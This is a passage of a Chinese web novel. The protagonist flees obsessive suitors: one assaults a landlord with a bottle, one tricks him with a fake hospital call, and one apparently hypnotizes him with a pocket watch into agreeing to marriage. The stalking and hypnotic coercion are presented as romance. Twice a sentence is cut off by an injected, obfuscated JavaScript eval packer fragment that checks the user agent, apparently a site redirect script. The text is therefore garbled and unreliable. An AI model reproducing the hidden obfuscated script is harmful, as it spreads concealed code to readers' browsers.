悯希跟着谢宥上了二楼,谢宥转过头,示意他拿出钥匙。 悯希:“……哦。” 趁着拿钥匙,他把手机偷偷塞到了自己的口袋里。 悯希有意拖延时间,拿一串钥匙拿得慢吞吞的,一会故意皱眉说“奇怪,怎么不在这里”,一会又翻翻裤袋说“我明明记得早上是放在这的啊”。 花样特别多。 谢宥只是盯着他没说话。 见再拖延下去谢宥就要亲自帮他找了,悯希不得不收敛起来,从最开始掏的口袋里拿出了家门钥匙。 悯希吞了吞口水,拿着钥匙靠近孔洞。 越靠越近,越靠越近,就在即将插到锁孔里时,身后的楼道突然传来一阵脚步声,有人打了个饱嗝,眯起细缝眼一瞧,出声叫道:“咦,叶悯希?” 听到那声音,悯希没听出来是谁,却骤然松了一口气,扭头看向身后。 来人是个四十岁左右的中年男人,略微秃顶,长着一张市侩尖酸的脸,气质精明,却让人很反感,有点肥,肚子从上衣里鼓鼓地撑出来,要爆不爆的样子。 中年男人拿着一个酒瓶,摇摇晃晃地走近了悯希,边吐酒气边说:“小叶,明天就该交房租了吧?” 他拿出手机翻日历,大着舌头道:“对,对,我没记错,明天就是交租日……小叶啊,我之前没跟你说,我给上一个租客的月租一直是一千五,看你投缘,才给你算的一千二。” 悯希心想,哦,原来是房东。 下一秒,中年男人话锋一转:“但是下个月不行了,我最近手头困难,周转不开,所以啊,房租得涨回原价了。” 悯希没料到有这一出,听到有些愣,接着站在原地认认真真思考起来。 原主租的房子是一室一厅规格,装修简陋,并不值一千五,悯希舍不得花这么多,而且临时涨价挺缺德的。 综合考虑下来,悯希道:“既然这样,那我不租了,您找其他租客吧,我这几天会尽快收拾好行李给您腾地方。” 谁想,房东瞬间翻脸。 他声音尖利道:“你怎么这么不识趣?我一直给你便宜那么多,你说不租就不租,拿我当猴耍啊?” 说着,他目光又在悯希身上滴溜溜一转:“你每天穿那么骚包出去,不就是搞钱去了,我不信你一千五都拿不出来!” 悯希冷下小脸:“你说什么?” 房东毫不畏惧地直视回去,恨不得嚷得整栋楼都听见:“我说你每天穿那么……” 一只手顿时不知从何处伸来,拿过房东手里的酒瓶,抬起来,狠狠往他脑袋上“哐”的一砸! 玻璃四溅开来。 悯希和房东都愣了。 有那么三四秒,悯希没反应过来,房东也没反应过来,直到大股大股的血从头上飙出来,还有玻璃碎末扎在脖子皮肤上,房东才捂着脸尖叫一声。 中年男人不可置信,像是没想到有人敢直接上手,直接给自己开了瓢! 他忍着尖锐的痛,颤声指向谢宥:“你,你……你!!” 谢宥平静道:“滚。” 在中年男人恨不得撕烂他的眼神里,他慢慢启唇:“你的伤构不成刑事立案标准,你可以去闹,说要和我和解,再要一笔钱,这是你最好的选择。” 谢宥全身上下有着一股非同常人的气度,房东又怒又怕,一肚子的火,正想说什么,身后响起一声:“祖宗!” 走廊灭掉的声控灯再次亮起。 一个戴着眼镜,气质温文的男人从楼梯口风风火火跑过来。 悯希眼睛一亮。 是救兵! 许睿办事一向靠谱干脆,他先让几个保镖分开房东,带着人到另一边去安抚,再让几个保镖按住了谢宥,将他控制着塞上车,直接拧开药瓶喂药。 做完这一切,许睿才气喘吁吁走到悯希面前,和他致歉:“抱歉,我来晚了。” 悯希摇摇头:“没有,你来得正好。” 许睿想起刚才谢宥的样子,再偏头看向这个传说中的悯希,心情十分复杂,但对上那精致的眉眼,又觉得能理解,要不是他已经到人老珠黄的年纪,也定然要为这张脸而痴迷。 他摇头叹气:“谢宥他……有点病,神智还能控制的时候,能自己吃药,要是完全失控了,就会忘记这一回事。” 许睿问:“多亏你发消息,不然真要出大事,他没对你做什么吧?” 悯希磕巴:“没。” 许睿如获新生:“那就好。” 随后许睿留下一个电话号码,让悯希有事再联系他,就急匆匆下楼查看谢宥的情况了。 送走谢宥这尊佛,悯希心里一颗大石头终于落下,进了屋就一头栽进床里,眼皮一耷一耷,勉强和一直给他发消息的曲庄报了个平安后,彻底睡过去。 楼下,许睿坐的车在前面带路,后面一辆黑车紧紧跟着。 树梢簌簌扇动,寒风吹过花坛,带走一两声清脆的狗叫,一个身材高挑的男人缓缓出现在小区里。 他拎着一条杜宾犬,杜宾很乖,跟在他身边一步步往前走,走到一栋楼前,一起停下,和主人同步抬头往上看。 男人一双眼睛深深凝望,似乎在确定要找的人在哪一层。 沉寂在悯希大脑里的系统,滋滋闪烁了两下。 第二天一大早,阳光明媚,悯希睡醒后踩着床单用力伸了个懒腰,刚要在床上打个滚,再翻腾两圈。 【现在收拾行李,我给你订火车票,明天一大早就离开潭市。】 悯希被吓一跳,抱着枕头坐起来,茫然问道:“怎么这么突然?发生什么了。” 【昨晚除了许睿,还有另外一个人在楼下。】 如果悯希还记得的话,就能想起那天在谢恺封别墅里撞到的男人,还有摸的那条狗。 可惜他这段记忆被抹去,系统也无法和他透露有关核心的剧情。 悯希:“谁?” 【谢澈,谢长山的另外一个私生子,是谢长山在娶进谢恺封母亲前,在外偷食产下的孩子,他平常也住在谢家,但没被谢长山公之于众。】 【谢恺封是谢长山另一个私生子,他的亲生父亲是谢长山的表哥,他血液不纯,但也属于谢家,这一秘密连谢恺封本人都不知道。】 【谢恺封也有遗传病,他发作起来,不像谢澈和谢宥那么厉害,但脾气会变得狂躁无比。】 【谢家祖上曾经有一任家主,年轻时候碰见一个人,被引发发病,后来那人被强取豪夺,直至被玩穿、玩烂,物理意义上的被生生玩死。】 【这些都是我昨晚调查到的。】 可怜悯希一大早睡醒,连瞌睡都没完全缓过来,就被这一条条消息冲击得脸都白了,悯希吞咽道:“你和我说这些做什么?” 【谢澈、谢恺封、谢宥,从一周前,接连因为你而发病——在精力被完全消耗之前,他们会发了疯一样的找你,抛下学业、抛下公司、抛下所有,直到找到你为止。】 【昨晚谢澈就通过跟踪许睿,找到了你家小区,在你家楼下踩点。】 【所以,跑。】 …… 今天上午黎星灼有课。 他起得早,坐在教室里,低头翻弄着手机。 来来回回翻弄了好几回,一条消息终于被他发送出去。 【在干什么。】 消息显示发送成功的下一刻,老师走进教室,开始了授课。 黎星灼拿着一根碳素笔,翻开手里的白皮本。 他神色严肃,老师在讲台上热火朝天地讲,他凝神在纸上勾勾写写。 有几句老师讲太快,坐他旁边的男生没听清,又见他如此奋笔疾书,忍不住探头往他本上看去,想着能抄一点是一点。 谁知本上没有笔记,有的只有铺天盖地的“悯希”两字,笔走龙蛇、笔锋犀利,放眼过去写了一百多个。 敢情刚刚不是在记笔记,是在写这个。 同桌嘴角都抽搐了。 黎星灼写得认真,直到那一页纸上都写满这个名字,方才停下笔,他拿起手机,看见短信还没有被回复,脸顿时一垮。 有那么忙吗? 是有事,还是专门不想回他? 不可能的,他自己说的,他们已经和好了。 黎星灼心情有些烦乱,忍不住合上本子往窗外看去,当视线挪到地面的路灯时,他看到自己在找的男生正从C栋楼里走出来,还是穿的那身干干净净的短袖和长裤。 他坐直起来,目光随着底下的人一点点挪动,等到下课时间一到,他立刻拿起桌上的书往教室外面走。 谁知一出门,他撞上一个眼熟的男生,对方和他打招呼,黎星灼点点头,想随便敷衍一句就走。 忽然又想起什么,他停下来,问男生:“我之前让你打听的,就是,悯希的课表,有没有打听到?” 这话说出来,格外的烫嘴,黎星灼目光都忍不住有点游移,好像他特别在意悯希似的。 他正想找补一句,说自己只是替别人打听的,然而,男生接下来说的话,却把他的声音全部堵了回去。 男生只说了两句话,黎星灼的胸膛却仿佛被一把烧红的铁碳从中间一分为二地劈开,瞳孔骤然缩紧—— “课表?哥,你还不知道吗?” “叶悯希今天上午刚办理了休学手续。” …… 这一夜悯希没有睡好,可能是想到自己即将要奔逃,又可能是身下的床板太过坚硬,精神和身体都不堪重负。 窗外是漫漫长雨。 街上人影寥寥,只有零丁几个。 天刚蒙蒙亮,悯希就醒了,站在镜子前准备穿上昨晚提前放在床尾的衣服。 原本他是想穿正常的休闲男装,转念一想,谢家那帮人在潭市手眼通天,哪怕有系统作掩护,也仍然存在被认出的风险,他不得不做二手打算,穿女装。 性别模糊起来,更不容易被人找到。 假发悯希用的是齐至后背的黑长发,有刘海,碎发多,细细碎碎地遮住那张小脸,再戴上一顶珍珠边女士凉帽,只有蹲在地上看,才能看见他那若有若无的羞赧神态。 对女装,悯希没有过多涉猎,他唯一的要求只有低调和不显眼。 而他看中的一条长裙,也的确很保守,穿上去一直垂到脚后跟,露不出丝毫皮肤,可上身的衣服因为买小了太过紧绷,紧紧裹住他那柔软的胸膛,绷得死紧。 而他的腰又收得如此夸张,侧面一看,好像真的有一样。 除去这么一点小瑕疵,整体来看是非常朴实的出游穿搭。 火车票买的是早上十点半的班次,悯希没时间多做调整,匆匆扣好上衣的最后一颗扣子,拎起小包包下楼,坐上预约车,往潭市最鱼龙混杂的火车站赶。 悯希不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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检票安检后到达候车大厅,差不多快到十点十五分,悯希随着人流来到露天站台。 也许是系统昨天和他说的谢家案例太吓人,悯希真有点焦虑了,坐也坐不下,盼着火车早点来。 他怕谢宥他们真的来找他。 虽然他觉得不太可能,谢家那些人要什么没有,怎么可能真的要死要活地来找他? 他不觉得自己有多吸引人。 不也是和其他人一样,两个眼睛一个嘴巴一个鼻子,很普通的长相。 【是吗?】 【“我有罪,叶悯希今天来找我问路,只是对我说了句谢谢,我的兄弟竟然就突然开始对着他肃然起立,我拼命对他说不要起来,他却违背我意志直接怒博冲天,我。。我在厕所小小自给自足了一下才敢去上课,人生第一遭,太丢脸,匿了”,这是你们学校论坛昨晚的热帖标题,现在回帖数量还在火箭式增长。】 悯希尴尬:“……假的,论坛上的骗子很多。” “肯定是你故意骗我的。” “大家都是男生,怎么可能这么容易对另一个男生有冲动?” “哎呀!我不想听你说话。” 细雨飘飘,站台上大多人都拿手背挡着头,远远只听火车汽笛嗡鸣的声音传来,旁边负责乘客进站引导的客运员便拿起喇叭喊话起来。 系统的声音被压下去,也就没再出声,说那些让悯希怀疑人生的话了。 悯希压着头上的帽子,拎着包找到正确的车厢门,在队伍最后排起队。 他身姿出众,本来不该用窈窕这种词形容一个男生,可他腰肢纤细,从脚踝到后背一路的曲线全都神秘勾人,衬得肌肤宛若甜豆腐花似的白。 周围不论男女,都有偷偷投过去视线,系统在这五花八门的注视中,忽然捕捉到一道不太一样的目光。 在三四条排起长龙的队伍之外,谢澈突兀地站在那片空地上,抬眼注视着悯希,他那深深的目光中,藏着不明显的、最先找到人的愉悦。 男人身边跟着一个不起眼的小助理。 助理似乎提前收到过指示,一看到悯希,立刻低头拿出手机。 随后,悯希的手机响了起来。 悯希愣了一下,一边跟着前面的人往前动,一边准备划动屏幕。 系统声音紧绷:【直接上车,不要接电话!谢恺封已经给悯婉缴了手术费用,她的一切都有人管,你放心走你的,不要被谢澈骗!】 然而,因为牵扯到主角,这句话传到悯希耳朵里后只剩下一串乱码:【****,*****!**************,********,******,******!】 悯希来不及问系统要干什么,手机里的声音便传出来,攥住了他的注意力:“叶同学,悯婉从昨晚开始,不知怎么,一直又哭又闹,说想要见你,你看……要不要过来一趟?你也知道,如今病人的心情也是康复的关键,最好都顺着病人来。” 悯希愣住:“什么?” 医生叹气:“她刚刚又吐过一轮,状态很不好。” 悯希一下慌神:“我……我这就去,你让她等等,我很快到。” 悯希一遇到悯婉的事就会方寸大乱,直到挂断电话,他都没注意到些许奇怪的端倪。 比如,“医生”说话的时候,背景音是和他完全一样的……杂乱。 人声嘈杂的火车站里,只见那引起无数人偷看的长裙小姐,在快要排到她的时候,突然走出了队伍,一双灵动慌乱的眼睛到处看来看去,在找能出去的通道。 与此同时,站台上另一个个子高挑的男人,转身隐没在了人群里,在看到悯希彻底离开了后,垂眼走出了门。 悯希是一个独立的个体,拥有独立人格,谢澈不希望用下三滥的捆绑方式,把悯希绑回来。 还好,潭市还有能牵动他的人。 谢澈认为自己不过是用了一些无伤大雅的小手段。 等悯希去了医院,他就可以用从谢恺封那里偷来的东西完全留下他了…… 等到悯希问起,他就会说—— “我是你的未婚夫。” “我没死,他们都是骗你的,你看,我不是好端端地回来了。” 14.催眠(14) 这一天,注定不会太平。 许睿在谢家当家庭医生这么久,每当谢家人发病时,他都拥有最高话语权,保镖们都只会听他的。 他让保镖们把谢宥关到房间里,死死看管,哪都不许去。 后面又让他们拿一个大木桶进去,放满冷水,把谢宥丢进去泡。 随后这一晚,许睿没有睡,坐在客厅里盯着谢宥房间摄像头传来的图景。 他没想到谢宥这次疯这么厉害,一上午触发警报三四回,保镖们需要跑上楼死死按住他的肩膀,才不至于让他闯出去。 药已经对谢宥不管用了。 许睿不得不另想方法,他在整栋别墅里跑上跑下,终于找到一件尺码较小的男装,他拿着这件衬衫,在保镖们的保护下,进到谢宥的房间里。 他骗谢宥,说这是悯希落在车上的,悯希刚才打电话过来,说晚上会抽空来找你取。 谢宥用居高临下的、扭曲的目光看向那衬衫,接过来问:“……他说会来找我?” 许睿点头。 拿着衬衫走进门的谢宥,终于安静下来,静静泡在水里。 从火车站赶回医院的谢澈,因为被一部从人行道闯出来的黑车不小心撞到,忙着处理琐事,没能在预期时间回到住院部。 他心烦意乱解决完重新上车的那一阵,是中午十二点左右,男生宿舍楼正是吵闹的时候。 黎星灼躺在床上死死盯着手机,嘴角和眼睛都往下垂,外面的阴云仿若移到了他头顶,乌云密布。 能笑出来的人,好像只剩下谢恺封。 谢家别墅里,谢恺封坐在椅子上,黑沉沉的眼眸露着状似温和的笑意,他亲昵地拍了拍地上跪着的人的脸,又一次问他:“那天是你负责打扫我的房间,你真的什么都没有拿?” “没有,谢少爷,我真的没有拿!” “真的——” 凄厉绝望的惨嚎划破天际。 刚从原峤别墅里出来的沈青琢,垂下眼,弯腰从地上捡起了一块金灿灿的怀表,怀表很旧,看起来有些年份。 好友在他耳边絮絮叨叨:“刚刚这发生了一场交通事故,没人伤亡,恐怕是那个被撞的倒霉蛋不小心掉的,这玩意太小,口袋大一点就容易掉。” 沈青琢偏头看他:“你查到了吗,悯希的近况。” 好友耸肩:“近况能好到哪里去啊,原峤他爸妈本来就不喜欢他,原峤一走就把他赶出去了,各处敲打,只怕他以后去哪里求职,也都会到处碰壁。” 沈青琢垂眸,不知在思索什么:“我刚知道他有一个住院的妹妹。” 好友愣神:“谁,叶悯希?不是,你干嘛这么关注一个和你不相关的人,别到时候被人说闲话。” 沈青琢语气自然:“他是原峤的人,我理应多关照一些。” 好友撇嘴道:“你的手又伸不了那么长,你在的时候,可能没人敢欺负他,你不在的时候怎么说?” 沈青琢蹙眉思考,他大脑陷入空白的时候,手里的怀表被他无意识塞进口袋里,片刻后,他抬起头道:“我要去一趟医院。” …… 住院部还是那般幽寂,来来去去的家属面带忧伤,不管在病房里多么强颜欢笑,一出门,都会躲在无人注意的角落擦拭眼角的泪花。 这样以灰白为主色的氛围里,忽然插.入一道靓丽的风景线。 来人踩着稍有坡度的小高跟,手提小包包,珍珠边凉帽被他摘下来拿在手里,散落的一头黑发铺满整张单薄的背部。 他眨着泛红的双眼,尽量放轻声音快步经过几间病房,被他走过的走廊,因此留下一缕缕让人渴望多嗅闻一阵的淡香。 悯希匆匆走到尽头的病房前,深呼吸一下,伸手推开门。 在推开这扇门前,悯希已经做好心理准备,无论悯婉以哪种姿态闯进他眼里,他都会努力忍住不在悯婉面前失态。 手指轻抖,门被缓缓往里推。 单人病房宽敞明亮,病床就放在正中间,人一进门就能将所有事物收入眼底。 睡在床上面色安详的悯婉,以及床头艳丽荼靡的花篮。 悯希看着那床上一动不动的瘦小身躯,一瞬间以为悯婉…… 他大步走上前,将手放在女孩的鼻尖下面探了探,直到感觉到有平稳的呼吸进出,肩膀才松下来。 悯希向后踉跄半步,感觉像去了半条命,他把包包放在桌上,扶着桌子喘气。 巡房医生一进来,看到的便是一道腰肢凹陷的背影,长发飘飘,落在后背上,离下面肥软挤在一起的凸起只有半寸,软团被包在布头里,浑然天成地将长裙撑得如若包臀的效果。 年轻医生顿时被勾得呼吸急促,尤其是,当那张脸扭过来对上他时,医生猛然脸红地失声道:“叶、叶同学?” 悯希脸色茫然,他看向年轻医生,丝毫不记得自己此刻的打扮有多另类,连忙抓住救命稻草般急声问道:“医生,悯婉现在怎么样?她今晚是不是又吐得很厉害,要紧吗,有没有能缓解的方式?” 巡房医生眼中露出显而易见的诧异,而后摇头安抚道:“今天小婉状态不错,没有吐过,晚上吃了一点粥,看了半小时电视,就睡了,挺乖的。” 这回,轮到悯希神色震惊,他抓紧桌子,仿佛理解不了是什么意思。 从火车站赶到医院有快二十公里的路程,并且滴滴车一般不会进停车场,他还要跑过好几条绿化带,再跑上一层楼梯,才能到二层。 此刻的悯希鬓边被汗沾湿,厚重的长发缠在雪白的后颈上,更是闷热,他唇瓣累得合不上,怔怔道:“可您不是说她,又哭又闹吵着要见我……” 医生脸色惊讶:“什么时候的事?” 悯希有点着急了:“就是,就是刚刚。” 他拿出包里的手机,用汗湿的指尖划出通讯记录,拿给医生看。 医生扶起脸上的眼镜,定睛看上面的号码。 直到看完,他松出一口气:“叶同学,如果病人出现什么特殊情况和意外,我们需要例行通知,只会用医院的座机打给家属,并不会用私人号。” 医生板脸指责道:“是不是你的朋友在和你恶作剧?如果是,你回去要好好训他一顿,病人的事也拿来做文章,实在太阴损!” 悯希一愣,再低头看手机上的号码。 良久,他闭上眼睛。 对,之前医院给他打电话都是零零开头……这个不是! 他情急智昏了。 悯婉没事是最好,可这通电话是怎么回事?到底是谁对他情况这么了如指掌,还专门编这么通电话骗他过来? 是……谢家那帮人? 想到这个可能性,悯希顿时心跳如擂,他艰难地拿起桌上的包包,想和医生告别后重新打个车回火车站。 谁想,医生忽然从床头的夹板上取下来一张纸,交给他说:“虽然悯婉今天没不良反应,但肾移植手术也是不能再拖了的,这是全套手术费用单子,你看看,如果没什么问题,就去把费用缴了尽快做手术吧。” 悯希接过纸,大致在上面一扫,手指就僵硬住了。 他讷讷:“五十万……” 他余额连五千块都不到。 悯希被骤然袭来的压力冲晕了,崩溃之余,他又有一点想不通的地方。 原主这么穷,悯婉是怎么升到单人间的呢? 总觉得,好像忘记了什么,但又想不起来。 悯希眼眶有点干,前不久才为悯婉熬了几晚,现在还没补回来。 他勉强对医生点了点头,正想说自己会尽快缴,忽然,听到病房门外传来脚步声。 五六道纷杂的皮鞋踩地声正正停在悯婉的病房前,悯希抬头透过半开的门缝看过去,只见几个训练有素的保镖分开两边站在了门口。 而正前方的男人则穿着考究的黑色长裤,外披崭新的西装。 悯希愣愣地看,好半天才出声:“……是你?” 门口的沈青琢目光先是在他身上的裙子上一顿,到底涵养好,点头道:“是我。” 悯希一脸“你来干什么”的防备。 沈青琢也不介意,只说:“那天我在医院看见你,以为你只是因为有小感冒一类的问题,回去以后,才知道你有个妹妹,所以我过来了解一下她的病情。” 悯希感到匪夷所思:“你专门来见我妹妹?为什么?” 沈青琢垂眼:“原峤生前对我很好,他走了……我理应照顾好你的一切。” 悯希默默无言,他看了一眼手中的手术单子:“你的意思是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他怔怔看着沈青琢,心脏因为刚才差点摔倒而跳得飞快,几次快跳出喉口,他就这样缓了缓,终于,有点忍受不了了。 悯希嘴角向下瞥,抿出一点无奈的委屈:“你在胡说八道些什么,我不会和你结婚,你拿我当什么人?” 先不说原峤、沈青琢和原主的关系,这样的要求,和包养有什么区别。 他又不是只有这种方法才能弄到钱。 病房里,悯希越想越感觉荒谬,一张被黑发裹在中心的小脸涌上愤怒,他替悯婉掖好被子,随后抓紧包,大步从沈青琢身边经过,只留给沈青琢一道怒不可遏的背影。 沈青琢停在原地,抬起手要抓住悯希,却只抓住了一缕假发。 假发从他指尖流过,沈青琢眉心微皱。 他像是无法理解,悯希为什么会如此抗拒,这明明是对他最好的选择,不是吗?他会准备好一切,悯希只需要和他结婚。 结了婚以后,悯希还是自由的,不是很好吗? …… 焦虑。 不理解。 沈青琢那张向来情绪稀少的脸上,露出了格格不入的思考神情,悯希已经走出三四步远了,他轻磨犬齿,忍不住把手放进口袋里,想拿出手机来。 却摸到一块硬物。 一时没想起来是什么,沈青琢在上面敲了一下。 只一下。 口袋里发出闷响,像是从走廊里直穿出去的一根线,瞬间缠住前面那男生勾魂摄魄的脚踝,一圈圈缠住,再裹紧,让他先停在原地,再勾得他倒退。 沈青琢再一抬头,只见悯希已经朝他重新走了回来。 沈青琢微顿:“你改变主意了?” 悯希刚才走那么决绝,现在又突然回来,沈青琢很意外,他没注意到悯希略显呆滞的眼神,好像有无数复杂的情绪在里面横跳,最后却全部湮灭。 悯希维持着仰头看沈青琢的姿势,微微抬起头,视线隔过微紫的灯光,与沈青琢对上。 他张口,慢吞吞地说:“对,你刚才说的。” “我……我愿意。”